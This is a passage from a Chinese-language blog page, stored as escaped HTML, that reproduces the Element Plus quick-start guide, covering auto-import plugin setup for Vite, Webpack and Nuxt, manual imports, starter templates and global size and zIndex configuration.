class=\"line\"\u003eapp.mount(\u0026#39;#app\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"Volar-支持\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Volar-%E6%94%AF%E6%8C%81\" class=\"headerlink\" title=\"Volar 支持#\"\u003e\u003c/a\u003eVolar 支持\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#volar-%E6%94%AF%E6%8C%81\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e如果您使用 Volar,请在 \u003ccode\u003etsconfig.json\u003c/code\u003e 中通过 \u003ccode\u003ecompilerOptions.type\u003c/code\u003e 指定全局组件类型。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// tsconfig.json\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;compilerOptions\u0026#34;: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;types\u0026#34;: [\u0026#34;element-plus/global\u0026#34;]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"按需导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"按需导入#\"\u003e\u003c/a\u003e按需导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e您需要使用额外的插件来导入要使用的组件。\u003c/p\u003e\u003ch4 id=\"自动导入推荐\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5%E6%8E%A8%E8%8D%90\" class=\"headerlink\" title=\"自动导入推荐#\"\u003e\u003c/a\u003e自动导入推荐\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5-%E6%8E%A8%E8%8D%90\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e首先你需要安装\u003ccode\u003eunplugin-vue-components\u003c/code\u003e 和 \u003ccode\u003eunplugin-auto-import\u003c/code\u003e这两款插件\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D unplugin-vue-components unplugin-auto-import\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把下列代码插入到你的 \u003ccode\u003eVite\u003c/code\u003e 或 \u003ccode\u003eWebpack\u003c/code\u003e 的配置文件中\u003c/p\u003e\u003ch5 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Vite\" class=\"headerlink\" title=\"Vite#\"\u003e\u003c/a\u003eVite\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#vite\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#39;unplugin-auto-import/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#39;unplugin-vue-components/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#39;unplugin-vue-components/resolvers\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"Webpack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Webpack\" class=\"headerlink\" title=\"Webpack#\"\u003e\u003c/a\u003eWebpack\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#webpack\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// webpack.config.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst AutoImport = require(\u0026#39;unplugin-auto-import/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst Components = require(\u0026#39;unplugin-vue-components/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst { ElementPlusResolver } = require(\u0026#39;unplugin-vue-components/resolvers\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emodule.exports = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e想了解更多打包 (\u003ca href=\"https://rollupjs.org/\"\u003eRollup\u003c/a\u003e, \u003ca href=\"https://cli.vuejs.org/\"\u003eVue CLI\u003c/a\u003e) 和配置工具,请参考 \u003ca href=\"https://github.com/antfu/unplugin-vue-components#installation\"\u003eunplugin-vue-components\u003c/a\u003e 和 \u003ca href=\"https://github.com/antfu/unplugin-auto-import#install\"\u003eunplugin-auto-import\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"Nuxt\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Nuxt\" class=\"headerlink\" title=\"Nuxt#\"\u003e\u003c/a\u003eNuxt\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#nuxt\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e关于 Nuxt 用户, 你只需要安装 \u003ccode\u003e@element-plus/nuxt\u003c/code\u003e 即可.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D @element-plus/nuxt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后将下面的代码写入你的配置文件.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// nuxt.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineNuxtConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules: [\u0026#39;@element-plus/nuxt\u0026#39;],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置文档参考 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003ch3 id=\"手动导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"手动导入#\"\u003e\u003c/a\u003e手动导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003eElement Plus 提供了基于 ES Module 的开箱即用的 \u003ca href=\"https://webpack.js.org/guides/tree-shaking/\"\u003eTree Shaking\u003c/a\u003e 功能。\u003c/p\u003e\u003cp\u003e但你需要安装 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus\"\u003eunplugin-element-plus\u003c/a\u003e 来导入样式。 配置文档参考 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eApp.vue\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-button\u0026gt;我是 ElButton\u0026lt;/el-button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e import { ElButton } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e export default {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: { ElButton },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;unplugin-element-plus/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [ElementPlus()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWARNING\u003c/p\u003e\u003cp\u003e如果使用 \u003ccode\u003eunplugin-element-plus\u003c/code\u003e 并且只使用组件 API,你需要手动导入样式。\u003c/p\u003e\u003cp\u003eExample:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/es/components/message/style/css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElMessage } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"快捷搭建项目模板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\" class=\"headerlink\" title=\"快捷搭建项目模板#\"\u003e\u003c/a\u003e快捷搭建项目模板\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们提供了 \u003ca href=\"https://github.com/element-plus/element-plus-vite-starter\"\u003eVite 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于Nuxt 用户,我们有一个 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt-starter\"\u003eNuxt 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于 Laravel 用户,我们也准备了\u003ca href=\"https://github.com/element-plus/element-plus-in-laravel-starter\"\u003eLaravel 模板\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"全局配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"全局配置#\"\u003e\u003c/a\u003e全局配置\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e在引入 ElementPlus 时,可以传入一个包含 \u003ccode\u003esize\u003c/code\u003e 和 \u003ccode\u003ezIndex\u003c/code\u003e 属性的全局配置对象。 \u003ccode\u003esize\u003c/code\u003e 用于设置表单组件的默认尺寸,\u003ccode\u003ezIndex\u003c/code\u003e 用于设置弹出组件的层级,\u003ccode\u003ezIndex\u003c/code\u003e 的默认值为 \u003ccode\u003e2000\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e完整引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus, { size: \u0026#39;small\u0026#39;, zIndex: 3000 })\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按需引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-config-provider :size=\u0026#34;size\u0026#34; :z-index=\u0026#34;zIndex\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;app /\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/el-config-provider\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineComponent } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElConfigProvider } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineComponent({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ElConfigProvider,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setup() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zIndex: 3000,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size: \u0026#39;small\u0026#39;,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 